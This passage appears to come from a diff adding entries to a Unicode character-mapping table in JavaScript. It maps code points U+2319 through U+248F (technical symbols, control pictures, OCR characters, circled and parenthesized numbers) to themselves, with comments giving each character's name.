+ ["\u2319", "\u2319"], /* TURNED NOT SIGN */
+ ["\u231A", "\u231A"], /* WATCH */
+ ["\u231B", "\u231B"], /* HOURGLASS */
+ ["\u231C", "\u231C"], /* TOP LEFT CORNER */
+ ["\u231D", "\u231D"], /* TOP RIGHT CORNER */
+ ["\u231E", "\u231E"], /* BOTTOM LEFT CORNER */
+ ["\u231F", "\u231F"], /* BOTTOM RIGHT CORNER */
+ ["\u2320", "\u2320"], /* TOP HALF INTEGRAL */
+ ["\u2321", "\u2321"], /* BOTTOM HALF INTEGRAL */
+ ["\u2322", "\u2322"], /* FROWN */
+ ["\u2323", "\u2323"], /* SMILE */
+ ["\u2324", "\u2324"], /* UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS (ENTER KEY) */
+ ["\u2325", "\u2325"], /* OPTION KEY */
+ ["\u2326", "\u2326"], /* ERASE TO THE RIGHT (DELETE TO THE RIGHT KEY) */
+ ["\u2327", "\u2327"], /* X IN A RECTANGLE BOX (CLEAR KEY) */
+ ["\u2328", "\u2328"], /* KEYBOARD */
+ ["\u2329", "\u2329"], /* LEFT-POINTING ANGLE BRACKET (BRA) */
+ ["\u232A", "\u232A"], /* RIGHT-POINTING ANGLE BRACKET (KET) */
+ ["\u232B", "\u232B"], /* ERASE TO THE LEFT (DELETE TO THE LEFT KEY) */
+ ["\u232C", "\u232C"], /* BENZENE RING */
+ ["\u232D", "\u232D"], /* CYLINDRICITY */
+ ["\u232E", "\u232E"], /* ALL AROUND-PROFILE */
+ ["\u232F", "\u232F"], /* SYMMETRY */
+ ["\u2330", "\u2330"], /* TOTAL RUNOUT */
+ ["\u2331", "\u2331"], /* DIMENSION ORIGIN */
+ ["\u2332", "\u2332"], /* CONICAL TAPER */
+ ["\u2333", "\u2333"], /* SLOPE */
+ ["\u2334", "\u2334"], /* COUNTERBORE */
+ ["\u2335", "\u2335"], /* COUNTERSINK */
+ ["\u2336", "\u2336"], /* APL FUNCTIONAL SYMBOL I-BEAM */
+ ["\u2337", "\u2337"], /* APL FUNCTIONAL SYMBOL SQUISH QUAD */
+ ["\u2338", "\u2338"], /* APL FUNCTIONAL SYMBOL QUAD EQUAL */
+ ["\u2339", "\u2339"], /* APL FUNCTIONAL SYMBOL QUAD DIVIDE */
+ ["\u233A", "\u233A"], /* APL FUNCTIONAL SYMBOL QUAD DIAMOND */
+ ["\u233B", "\u233B"], /* APL FUNCTIONAL SYMBOL QUAD JOT */
+ ["\u233C", "\u233C"], /* APL FUNCTIONAL SYMBOL QUAD CIRCLE */
+ ["\u233D", "\u233D"], /* APL FUNCTIONAL SYMBOL CIRCLE STILE */
+ ["\u233E", "\u233E"], /* APL FUNCTIONAL SYMBOL CIRCLE JOT */
+ ["\u233F", "\u233F"], /* APL FUNCTIONAL SYMBOL SLASH BAR */
+ ["\u2340", "\u2340"], /* APL FUNCTIONAL SYMBOL BACKSLASH BAR */
+ ["\u2341", "\u2341"], /* APL FUNCTIONAL SYMBOL QUAD SLASH */
+ ["\u2342", "\u2342"], /* APL FUNCTIONAL SYMBOL QUAD BACKSLASH */
+ ["\u2343", "\u2343"], /* APL FUNCTIONAL SYMBOL QUAD LESS-THAN */
+ ["\u2344", "\u2344"], /* APL FUNCTIONAL SYMBOL QUAD GREATER-THAN */
+ ["\u2345", "\u2345"], /* APL FUNCTIONAL SYMBOL LEFTWARDS VANE */
+ ["\u2346", "\u2346"], /* APL FUNCTIONAL SYMBOL RIGHTWARDS VANE */
+ ["\u2347", "\u2347"], /* APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW */
+ ["\u2348", "\u2348"], /* APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW */
+ ["\u2349", "\u2349"], /* APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH */
+ ["\u234A", "\u234A"], /* APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR */
+ ["\u234B", "\u234B"], /* APL FUNCTIONAL SYMBOL DELTA STILE */
+ ["\u234C", "\u234C"], /* APL FUNCTIONAL SYMBOL QUAD DOWN CARET */
+ ["\u234D", "\u234D"], /* APL FUNCTIONAL SYMBOL QUAD DELTA */
+ ["\u234E", "\u234E"], /* APL FUNCTIONAL SYMBOL DOWN TACK JOT */
+ ["\u234F", "\u234F"], /* APL FUNCTIONAL SYMBOL UPWARDS VANE */
+ ["\u2350", "\u2350"], /* APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW */
+ ["\u2351", "\u2351"], /* APL FUNCTIONAL SYMBOL UP TACK OVERBAR */
+ ["\u2352", "\u2352"], /* APL FUNCTIONAL SYMBOL DEL STILE */
+ ["\u2353", "\u2353"], /* APL FUNCTIONAL SYMBOL QUAD UP CARET */
+ ["\u2354", "\u2354"], /* APL FUNCTIONAL SYMBOL QUAD DEL */
+ ["\u2355", "\u2355"], /* APL FUNCTIONAL SYMBOL UP TACK JOT */
+ ["\u2356", "\u2356"], /* APL FUNCTIONAL SYMBOL DOWNWARDS VANE */
+ ["\u2357", "\u2357"], /* APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW */
+ ["\u2358", "\u2358"], /* APL FUNCTIONAL SYMBOL QUOTE UNDERBAR */
+ ["\u2359", "\u2359"], /* APL FUNCTIONAL SYMBOL DELTA UNDERBAR */
+ ["\u235A", "\u235A"], /* APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR */
+ ["\u235B", "\u235B"], /* APL FUNCTIONAL SYMBOL JOT UNDERBAR */
+ ["\u235C", "\u235C"], /* APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR */
+ ["\u235D", "\u235D"], /* APL FUNCTIONAL SYMBOL UP SHOE JOT */
+ ["\u235E", "\u235E"], /* APL FUNCTIONAL SYMBOL QUOTE QUAD */
+ ["\u235F", "\u235F"], /* APL FUNCTIONAL SYMBOL CIRCLE STAR */
+ ["\u2360", "\u2360"], /* APL FUNCTIONAL SYMBOL QUAD COLON */
+ ["\u2361", "\u2361"], /* APL FUNCTIONAL SYMBOL UP TACK DIAERESIS */
+ ["\u2362", "\u2362"], /* APL FUNCTIONAL SYMBOL DEL DIAERESIS */
+ ["\u2363", "\u2363"], /* APL FUNCTIONAL SYMBOL STAR DIAERESIS */
+ ["\u2364", "\u2364"], /* APL FUNCTIONAL SYMBOL JOT DIAERESIS */
+ ["\u2365", "\u2365"], /* APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS */
+ ["\u2366", "\u2366"], /* APL FUNCTIONAL SYMBOL DOWN SHOE STILE */
+ ["\u2367", "\u2367"], /* APL FUNCTIONAL SYMBOL LEFT SHOE STILE */
+ ["\u2368", "\u2368"], /* APL FUNCTIONAL SYMBOL TILDE DIAERESIS */
+ ["\u2369", "\u2369"], /* APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS */
+ ["\u236A", "\u236A"], /* APL FUNCTIONAL SYMBOL COMMA BAR */
+ ["\u236B", "\u236B"], /* APL FUNCTIONAL SYMBOL DEL TILDE */
+ ["\u236C", "\u236C"], /* APL FUNCTIONAL SYMBOL ZILDE */
+ ["\u236D", "\u236D"], /* APL FUNCTIONAL SYMBOL STILE TILDE */
+ ["\u236E", "\u236E"], /* APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR */
+ ["\u236F", "\u236F"], /* APL FUNCTIONAL SYMBOL QUAD NOT EQUAL */
+ ["\u2370", "\u2370"], /* APL FUNCTIONAL SYMBOL QUAD QUESTION */
+ ["\u2371", "\u2371"], /* APL FUNCTIONAL SYMBOL DOWN CARET TILDE */
+ ["\u2372", "\u2372"], /* APL FUNCTIONAL SYMBOL UP CARET TILDE */
+ ["\u2373", "\u2373"], /* APL FUNCTIONAL SYMBOL IOTA */
+ ["\u2374", "\u2374"], /* APL FUNCTIONAL SYMBOL RHO */
+ ["\u2375", "\u2375"], /* APL FUNCTIONAL SYMBOL OMEGA */
+ ["\u2376", "\u2376"], /* APL FUNCTIONAL SYMBOL ALPHA UNDERBAR */
+ ["\u2377", "\u2377"], /* APL FUNCTIONAL SYMBOL EPSILON UNDERBAR */
+ ["\u2378", "\u2378"], /* APL FUNCTIONAL SYMBOL IOTA UNDERBAR */
+ ["\u2379", "\u2379"], /* APL FUNCTIONAL SYMBOL OMEGA UNDERBAR */
+ ["\u237A", "\u237A"], /* APL FUNCTIONAL SYMBOL ALPHA */
+ ["\u237B", "\u237B"], /* NOT CHECK MARK */
+ ["\u237C", "\u237C"], /* RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW */
+ ["\u237D", "\u237D"], /* SHOULDERED OPEN BOX */
+ ["\u237E", "\u237E"], /* BELL SYMBOL */
+ ["\u237F", "\u237F"], /* VERTICAL LINE WITH MIDDLE DOT */
+ ["\u2380", "\u2380"], /* INSERTION SYMBOL */
+ ["\u2381", "\u2381"], /* CONTINUOUS UNDERLINE SYMBOL */
+ ["\u2382", "\u2382"], /* DISCONTINUOUS UNDERLINE SYMBOL */
+ ["\u2383", "\u2383"], /* EMPHASIS SYMBOL */
+ ["\u2384", "\u2384"], /* COMPOSITION SYMBOL */
+ ["\u2385", "\u2385"], /* WHITE SQUARE WITH CENTRE VERTICAL LINE */
+ ["\u2386", "\u2386"], /* ENTER SYMBOL */
+ ["\u2387", "\u2387"], /* ALTERNATIVE KEY SYMBOL */
+ ["\u2388", "\u2388"], /* HELM SYMBOL */
+ ["\u2389", "\u2389"], /* CIRCLED HORIZONTAL BAR WITH NOTCH */
+ ["\u238A", "\u238A"], /* CIRCLED TRIANGLE DOWN */
+ ["\u238B", "\u238B"], /* BROKEN CIRCLE WITH NORTHWEST ARROW */
+ ["\u238C", "\u238C"], /* UNDO SYMBOL */
+ ["\u238D", "\u238D"], /* MONOSTABLE SYMBOL */
+ ["\u238E", "\u238E"], /* HYSTERESIS SYMBOL */
+ ["\u238F", "\u238F"], /* OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL */
+ ["\u2390", "\u2390"], /* OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL */
+ ["\u2391", "\u2391"], /* PASSIVE-PULL-DOWN-OUTPUT SYMBOL */
+ ["\u2392", "\u2392"], /* PASSIVE-PULL-UP-OUTPUT SYMBOL */
+ ["\u2393", "\u2393"], /* DIRECT CURRENT SYMBOL FORM TWO */
+ ["\u2394", "\u2394"], /* SOFTWARE-FUNCTION SYMBOL */
+ ["\u2395", "\u2395"], /* APL FUNCTIONAL SYMBOL QUAD */
+ ["\u2396", "\u2396"], /* DECIMAL SEPARATOR KEY SYMBOL */
+ ["\u2397", "\u2397"], /* PREVIOUS PAGE */
+ ["\u2398", "\u2398"], /* NEXT PAGE */
+ ["\u2399", "\u2399"], /* PRINT SCREEN SYMBOL */
+ ["\u239A", "\u239A"], /* CLEAR SCREEN SYMBOL */
+ ["\u239B", "\u239B"], /* LEFT PARENTHESIS UPPER HOOK */
+ ["\u239C", "\u239C"], /* LEFT PARENTHESIS EXTENSION */
+ ["\u239D", "\u239D"], /* LEFT PARENTHESIS LOWER HOOK */
+ ["\u239E", "\u239E"], /* RIGHT PARENTHESIS UPPER HOOK */
+ ["\u239F", "\u239F"], /* RIGHT PARENTHESIS EXTENSION */
+ ["\u23A0", "\u23A0"], /* RIGHT PARENTHESIS LOWER HOOK */
+ ["\u23A1", "\u23A1"], /* LEFT SQUARE BRACKET UPPER CORNER */
+ ["\u23A2", "\u23A2"], /* LEFT SQUARE BRACKET EXTENSION */
+ ["\u23A3", "\u23A3"], /* LEFT SQUARE BRACKET LOWER CORNER */
+ ["\u23A4", "\u23A4"], /* RIGHT SQUARE BRACKET UPPER CORNER */
+ ["\u23A5", "\u23A5"], /* RIGHT SQUARE BRACKET EXTENSION */
+ ["\u23A6", "\u23A6"], /* RIGHT SQUARE BRACKET LOWER CORNER */
+ ["\u23A7", "\u23A7"], /* LEFT CURLY BRACKET UPPER HOOK */
+ ["\u23A8", "\u23A8"], /* LEFT CURLY BRACKET MIDDLE PIECE */
+ ["\u23A9", "\u23A9"], /* LEFT CURLY BRACKET LOWER HOOK */
+ ["\u23AA", "\u23AA"], /* CURLY BRACKET EXTENSION */
+ ["\u23AB", "\u23AB"], /* RIGHT CURLY BRACKET UPPER HOOK */
+ ["\u23AC", "\u23AC"], /* RIGHT CURLY BRACKET MIDDLE PIECE */
+ ["\u23AD", "\u23AD"], /* RIGHT CURLY BRACKET LOWER HOOK */
+ ["\u23AE", "\u23AE"], /* INTEGRAL EXTENSION */
+ ["\u23AF", "\u23AF"], /* HORIZONTAL LINE EXTENSION */
+ ["\u23B0", "\u23B0"], /* UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION */
+ ["\u23B1", "\u23B1"], /* UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION */
+ ["\u23B2", "\u23B2"], /* SUMMATION TOP */
+ ["\u23B3", "\u23B3"], /* SUMMATION BOTTOM */
+ ["\u23B4", "\u23B4"], /* TOP SQUARE BRACKET */
+ ["\u23B5", "\u23B5"], /* BOTTOM SQUARE BRACKET */
+ ["\u23B6", "\u23B6"], /* BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET */
+ ["\u23B7", "\u23B7"], /* RADICAL SYMBOL BOTTOM */
+ ["\u23B8", "\u23B8"], /* LEFT VERTICAL BOX LINE */
+ ["\u23B9", "\u23B9"], /* RIGHT VERTICAL BOX LINE */
+ ["\u23BA", "\u23BA"], /* HORIZONTAL SCAN LINE-1 */
+ ["\u23BB", "\u23BB"], /* HORIZONTAL SCAN LINE-3 */
+ ["\u23BC", "\u23BC"], /* HORIZONTAL SCAN LINE-7 */
+ ["\u23BD", "\u23BD"], /* HORIZONTAL SCAN LINE-9 */
+ ["\u23BE", "\u23BE"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT */
+ ["\u23BF", "\u23BF"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT */
+ ["\u23C0", "\u23C0"], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE */
+ ["\u23C1", "\u23C1"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE */
+ ["\u23C2", "\u23C2"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE */
+ ["\u23C3", "\u23C3"], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE */
+ ["\u23C4", "\u23C4"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE */
+ ["\u23C5", "\u23C5"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE */
+ ["\u23C6", "\u23C6"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE */
+ ["\u23C7", "\u23C7"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE */
+ ["\u23C8", "\u23C8"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE */
+ ["\u23C9", "\u23C9"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL */
+ ["\u23CA", "\u23CA"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL */
+ ["\u23CB", "\u23CB"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT */
+ ["\u23CC", "\u23CC"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT */
+ ["\u23CD", "\u23CD"], /* SQUARE FOOT */
+ ["\u23CE", "\u23CE"], /* RETURN SYMBOL */
+ ["\u23CF", "\u23CF"], /* EJECT SYMBOL */
+ ["\u23D0", "\u23D0"], /* VERTICAL LINE EXTENSION */
+ ["\u23D1", "\u23D1"], /* METRICAL BREVE */
+ ["\u23D2", "\u23D2"], /* METRICAL LONG OVER SHORT */
+ ["\u23D3", "\u23D3"], /* METRICAL SHORT OVER LONG */
+ ["\u23D4", "\u23D4"], /* METRICAL LONG OVER TWO SHORTS */
+ ["\u23D5", "\u23D5"], /* METRICAL TWO SHORTS OVER LONG */
+ ["\u23D6", "\u23D6"], /* METRICAL TWO SHORTS JOINED */
+ ["\u23D7", "\u23D7"], /* METRICAL TRISEME */
+ ["\u23D8", "\u23D8"], /* METRICAL TETRASEME */
+ ["\u23D9", "\u23D9"], /* METRICAL PENTASEME */
+ ["\u23DA", "\u23DA"], /* EARTH GROUND */
+ ["\u23DB", "\u23DB"], /* FUSE */
+ ["\u23DC", "\u23DC"], /* TOP PARENTHESIS */
+ ["\u23DD", "\u23DD"], /* BOTTOM PARENTHESIS */
+ ["\u23DE", "\u23DE"], /* TOP CURLY BRACKET */
+ ["\u23DF", "\u23DF"], /* BOTTOM CURLY BRACKET */
+ ["\u23E0", "\u23E0"], /* TOP TORTOISE SHELL BRACKET */
+ ["\u23E1", "\u23E1"], /* BOTTOM TORTOISE SHELL BRACKET */
+ ["\u23E2", "\u23E2"], /* WHITE TRAPEZIUM */
+ ["\u23E3", "\u23E3"], /* BENZENE RING WITH CIRCLE */
+ ["\u23E4", "\u23E4"], /* STRAIGHTNESS */
+ ["\u23E5", "\u23E5"], /* FLATNESS */
+ ["\u23E6", "\u23E6"], /* AC CURRENT */
+ ["\u23E7", "\u23E7"], /* ELECTRICAL INTERSECTION */
+ ["\u23E8", "\u23E8"], /* DECIMAL EXPONENT SYMBOL */
+ ["\u23E9", "\u23E9"], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE */
+ ["\u23EA", "\u23EA"], /* BLACK LEFT-POINTING DOUBLE TRIANGLE */
+ ["\u23EB", "\u23EB"], /* BLACK UP-POINTING DOUBLE TRIANGLE */
+ ["\u23EC", "\u23EC"], /* BLACK DOWN-POINTING DOUBLE TRIANGLE */
+ ["\u23ED", "\u23ED"], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ ["\u23EE", "\u23EE"], /* BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ ["\u23EF", "\u23EF"], /* BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR */
+ ["\u23F0", "\u23F0"], /* ALARM CLOCK */
+ ["\u23F1", "\u23F1"], /* STOPWATCH */
+ ["\u23F2", "\u23F2"], /* TIMER CLOCK */
+ ["\u23F3", "\u23F3"], /* HOURGLASS WITH FLOWING SAND */
+ ["\u23F4", "\u23F4"], /* BLACK MEDIUM LEFT-POINTING TRIANGLE */
+ ["\u23F5", "\u23F5"], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE */
+ ["\u23F6", "\u23F6"], /* BLACK MEDIUM UP-POINTING TRIANGLE */
+ ["\u23F7", "\u23F7"], /* BLACK MEDIUM DOWN-POINTING TRIANGLE */
+ ["\u23F8", "\u23F8"], /* DOUBLE VERTICAL BAR */
+ ["\u23F9", "\u23F9"], /* BLACK SQUARE FOR STOP */
+ ["\u23FA", "\u23FA"], /* BLACK CIRCLE FOR RECORD */
+ ["\u23FB", "\u23FB"], /* POWER SYMBOL */
+ ["\u23FC", "\u23FC"], /* POWER ON-OFF SYMBOL */
+ ["\u23FD", "\u23FD"], /* POWER ON SYMBOL */
+ ["\u23FE", "\u23FE"], /* POWER SLEEP SYMBOL */
+ ["\u23FF", "\u23FF"], /* OBSERVER EYE SYMBOL */
+ ["\u2400", "\u2400"], /* SYMBOL FOR NULL (GRAPHIC FOR NULL) */
+ ["\u2401", "\u2401"], /* SYMBOL FOR START OF HEADING (GRAPHIC FOR START OF HEADING) */
+ ["\u2402", "\u2402"], /* SYMBOL FOR START OF TEXT (GRAPHIC FOR START OF TEXT) */
+ ["\u2403", "\u2403"], /* SYMBOL FOR END OF TEXT (GRAPHIC FOR END OF TEXT) */
+ ["\u2404", "\u2404"], /* SYMBOL FOR END OF TRANSMISSION (GRAPHIC FOR END OF TRANSMISSION) */
+ ["\u2405", "\u2405"], /* SYMBOL FOR ENQUIRY (GRAPHIC FOR ENQUIRY) */
+ ["\u2406", "\u2406"], /* SYMBOL FOR ACKNOWLEDGE (GRAPHIC FOR ACKNOWLEDGE) */
+ ["\u2407", "\u2407"], /* SYMBOL FOR BELL (GRAPHIC FOR BELL) */
+ ["\u2408", "\u2408"], /* SYMBOL FOR BACKSPACE (GRAPHIC FOR BACKSPACE) */
+ ["\u2409", "\u2409"], /* SYMBOL FOR HORIZONTAL TABULATION (GRAPHIC FOR HORIZONTAL TABULATION) */
+ ["\u240A", "\u240A"], /* SYMBOL FOR LINE FEED (GRAPHIC FOR LINE FEED) */
+ ["\u240B", "\u240B"], /* SYMBOL FOR VERTICAL TABULATION (GRAPHIC FOR VERTICAL TABULATION) */
+ ["\u240C", "\u240C"], /* SYMBOL FOR FORM FEED (GRAPHIC FOR FORM FEED) */
+ ["\u240D", "\u240D"], /* SYMBOL FOR CARRIAGE RETURN (GRAPHIC FOR CARRIAGE RETURN) */
+ ["\u240E", "\u240E"], /* SYMBOL FOR SHIFT OUT (GRAPHIC FOR SHIFT OUT) */
+ ["\u240F", "\u240F"], /* SYMBOL FOR SHIFT IN (GRAPHIC FOR SHIFT IN) */
+ ["\u2410", "\u2410"], /* SYMBOL FOR DATA LINK ESCAPE (GRAPHIC FOR DATA LINK ESCAPE) */
+ ["\u2411", "\u2411"], /* SYMBOL FOR DEVICE CONTROL ONE (GRAPHIC FOR DEVICE CONTROL ONE) */
+ ["\u2412", "\u2412"], /* SYMBOL FOR DEVICE CONTROL TWO (GRAPHIC FOR DEVICE CONTROL TWO) */
+ ["\u2413", "\u2413"], /* SYMBOL FOR DEVICE CONTROL THREE (GRAPHIC FOR DEVICE CONTROL THREE) */
+ ["\u2414", "\u2414"], /* SYMBOL FOR DEVICE CONTROL FOUR (GRAPHIC FOR DEVICE CONTROL FOUR) */
+ ["\u2415", "\u2415"], /* SYMBOL FOR NEGATIVE ACKNOWLEDGE (GRAPHIC FOR NEGATIVE ACKNOWLEDGE) */
+ ["\u2416", "\u2416"], /* SYMBOL FOR SYNCHRONOUS IDLE (GRAPHIC FOR SYNCHRONOUS IDLE) */
+ ["\u2417", "\u2417"], /* SYMBOL FOR END OF TRANSMISSION BLOCK (GRAPHIC FOR END OF TRANSMISSION BLOCK) */
+ ["\u2418", "\u2418"], /* SYMBOL FOR CANCEL (GRAPHIC FOR CANCEL) */
+ ["\u2419", "\u2419"], /* SYMBOL FOR END OF MEDIUM (GRAPHIC FOR END OF MEDIUM) */
+ ["\u241A", "\u241A"], /* SYMBOL FOR SUBSTITUTE (GRAPHIC FOR SUBSTITUTE) */
+ ["\u241B", "\u241B"], /* SYMBOL FOR ESCAPE (GRAPHIC FOR ESCAPE) */
+ ["\u241C", "\u241C"], /* SYMBOL FOR FILE SEPARATOR (GRAPHIC FOR FILE SEPARATOR) */
+ ["\u241D", "\u241D"], /* SYMBOL FOR GROUP SEPARATOR (GRAPHIC FOR GROUP SEPARATOR) */
+ ["\u241E", "\u241E"], /* SYMBOL FOR RECORD SEPARATOR (GRAPHIC FOR RECORD SEPARATOR) */
+ ["\u241F", "\u241F"], /* SYMBOL FOR UNIT SEPARATOR (GRAPHIC FOR UNIT SEPARATOR) */
+ ["\u2420", "\u2420"], /* SYMBOL FOR SPACE (GRAPHIC FOR SPACE) */
+ ["\u2421", "\u2421"], /* SYMBOL FOR DELETE (GRAPHIC FOR DELETE) */
+ ["\u2422", "\u2422"], /* BLANK SYMBOL (BLANK) */
+ ["\u2423", "\u2423"], /* OPEN BOX */
+ ["\u2424", "\u2424"], /* SYMBOL FOR NEWLINE (GRAPHIC FOR NEWLINE) */
+ ["\u2425", "\u2425"], /* SYMBOL FOR DELETE FORM TWO */
+ ["\u2426", "\u2426"], /* SYMBOL FOR SUBSTITUTE FORM TWO */
+ ["\u2427", "\u2427"],
+ ["\u2428", "\u2428"],
+ ["\u2429", "\u2429"],
+ ["\u242A", "\u242A"],
+ ["\u242B", "\u242B"],
+ ["\u242C", "\u242C"],
+ ["\u242D", "\u242D"],
+ ["\u242E", "\u242E"],
+ ["\u242F", "\u242F"],
+ ["\u2430", "\u2430"],
+ ["\u2431", "\u2431"],
+ ["\u2432", "\u2432"],
+ ["\u2433", "\u2433"],
+ ["\u2434", "\u2434"],
+ ["\u2435", "\u2435"],
+ ["\u2436", "\u2436"],
+ ["\u2437", "\u2437"],
+ ["\u2438", "\u2438"],
+ ["\u2439", "\u2439"],
+ ["\u243A", "\u243A"],
+ ["\u243B", "\u243B"],
+ ["\u243C", "\u243C"],
+ ["\u243D", "\u243D"],
+ ["\u243E", "\u243E"],
+ ["\u243F", "\u243F"],
+ ["\u2440", "\u2440"], /* OCR HOOK */
+ ["\u2441", "\u2441"], /* OCR CHAIR */
+ ["\u2442", "\u2442"], /* OCR FORK */
+ ["\u2443", "\u2443"], /* OCR INVERTED FORK */
+ ["\u2444", "\u2444"], /* OCR BELT BUCKLE */
+ ["\u2445", "\u2445"], /* OCR BOW TIE */
+ ["\u2446", "\u2446"], /* OCR BRANCH BANK IDENTIFICATION */
+ ["\u2447", "\u2447"], /* OCR AMOUNT OF CHECK */
+ ["\u2448", "\u2448"], /* OCR DASH */
+ ["\u2449", "\u2449"], /* OCR CUSTOMER ACCOUNT NUMBER */
+ ["\u244A", "\u244A"], /* OCR DOUBLE BACKSLASH */
+ ["\u244B", "\u244B"],
+ ["\u244C", "\u244C"],
+ ["\u244D", "\u244D"],
+ ["\u244E", "\u244E"],
+ ["\u244F", "\u244F"],
+ ["\u2450", "\u2450"],
+ ["\u2451", "\u2451"],
+ ["\u2452", "\u2452"],
+ ["\u2453", "\u2453"],
+ ["\u2454", "\u2454"],
+ ["\u2455", "\u2455"],
+ ["\u2456", "\u2456"],
+ ["\u2457", "\u2457"],
+ ["\u2458", "\u2458"],
+ ["\u2459", "\u2459"],
+ ["\u245A", "\u245A"],
+ ["\u245B", "\u245B"],
+ ["\u245C", "\u245C"],
+ ["\u245D", "\u245D"],
+ ["\u245E", "\u245E"],
+ ["\u245F", "\u245F"],
+ ["\u2460", "\u2460"], /* CIRCLED DIGIT ONE */
+ ["\u2461", "\u2461"], /* CIRCLED DIGIT TWO */
+ ["\u2462", "\u2462"], /* CIRCLED DIGIT THREE */
+ ["\u2463", "\u2463"], /* CIRCLED DIGIT FOUR */
+ ["\u2464", "\u2464"], /* CIRCLED DIGIT FIVE */
+ ["\u2465", "\u2465"], /* CIRCLED DIGIT SIX */
+ ["\u2466", "\u2466"], /* CIRCLED DIGIT SEVEN */
+ ["\u2467", "\u2467"], /* CIRCLED DIGIT EIGHT */
+ ["\u2468", "\u2468"], /* CIRCLED DIGIT NINE */
+ ["\u2469", "\u2469"], /* CIRCLED NUMBER TEN */
+ ["\u246A", "\u246A"], /* CIRCLED NUMBER ELEVEN */
+ ["\u246B", "\u246B"], /* CIRCLED NUMBER TWELVE */
+ ["\u246C", "\u246C"], /* CIRCLED NUMBER THIRTEEN */
+ ["\u246D", "\u246D"], /* CIRCLED NUMBER FOURTEEN */
+ ["\u246E", "\u246E"], /* CIRCLED NUMBER FIFTEEN */
+ ["\u246F", "\u246F"], /* CIRCLED NUMBER SIXTEEN */
+ ["\u2470", "\u2470"], /* CIRCLED NUMBER SEVENTEEN */
+ ["\u2471", "\u2471"], /* CIRCLED NUMBER EIGHTEEN */
+ ["\u2472", "\u2472"], /* CIRCLED NUMBER NINETEEN */
+ ["\u2473", "\u2473"], /* CIRCLED NUMBER TWENTY */
+ ["\u2474", "\u2474"], /* PARENTHESIZED DIGIT ONE */
+ ["\u2475", "\u2475"], /* PARENTHESIZED DIGIT TWO */
+ ["\u2476", "\u2476"], /* PARENTHESIZED DIGIT THREE */
+ ["\u2477", "\u2477"], /* PARENTHESIZED DIGIT FOUR */
+ ["\u2478", "\u2478"], /* PARENTHESIZED DIGIT FIVE */
+ ["\u2479", "\u2479"], /* PARENTHESIZED DIGIT SIX */
+ ["\u247A", "\u247A"], /* PARENTHESIZED DIGIT SEVEN */
+ ["\u247B", "\u247B"], /* PARENTHESIZED DIGIT EIGHT */
+ ["\u247C", "\u247C"], /* PARENTHESIZED DIGIT NINE */
+ ["\u247D", "\u247D"], /* PARENTHESIZED NUMBER TEN */
+ ["\u247E", "\u247E"], /* PARENTHESIZED NUMBER ELEVEN */
+ ["\u247F", "\u247F"], /* PARENTHESIZED NUMBER TWELVE */
+ ["\u2480", "\u2480"], /* PARENTHESIZED NUMBER THIRTEEN */
+ ["\u2481", "\u2481"], /* PARENTHESIZED NUMBER FOURTEEN */
+ ["\u2482", "\u2482"], /* PARENTHESIZED NUMBER FIFTEEN */
+ ["\u2483", "\u2483"], /* PARENTHESIZED NUMBER SIXTEEN */
+ ["\u2484", "\u2484"], /* PARENTHESIZED NUMBER SEVENTEEN */
+ ["\u2485", "\u2485"], /* PARENTHESIZED NUMBER EIGHTEEN */
+ ["\u2486", "\u2486"], /* PARENTHESIZED NUMBER NINETEEN */
+ ["\u2487", "\u2487"], /* PARENTHESIZED NUMBER TWENTY */
+ ["\u2488", "\u2488"], /* DIGIT ONE FULL STOP (DIGIT ONE PERIOD) */
+ ["\u2489", "\u2489"], /* DIGIT TWO FULL STOP (DIGIT TWO PERIOD) */
+ ["\u248A", "\u248A"], /* DIGIT THREE FULL STOP (DIGIT THREE PERIOD) */
+ ["\u248B", "\u248B"], /* DIGIT FOUR FULL STOP (DIGIT FOUR PERIOD) */
+ ["\u248C", "\u248C"], /* DIGIT FIVE FULL STOP (DIGIT FIVE PERIOD) */
+ ["\u248D", "\u248D"], /* DIGIT SIX FULL STOP (DIGIT SIX PERIOD) */
+ ["\u248E", "\u248E"], /* DIGIT SEVEN FULL STOP (DIGIT SEVEN PERIOD) */
+ ["\u248F", "\u248F"], /* DIGIT EIGHT FULL STOP (DIGIT EIGHT PERIOD) */
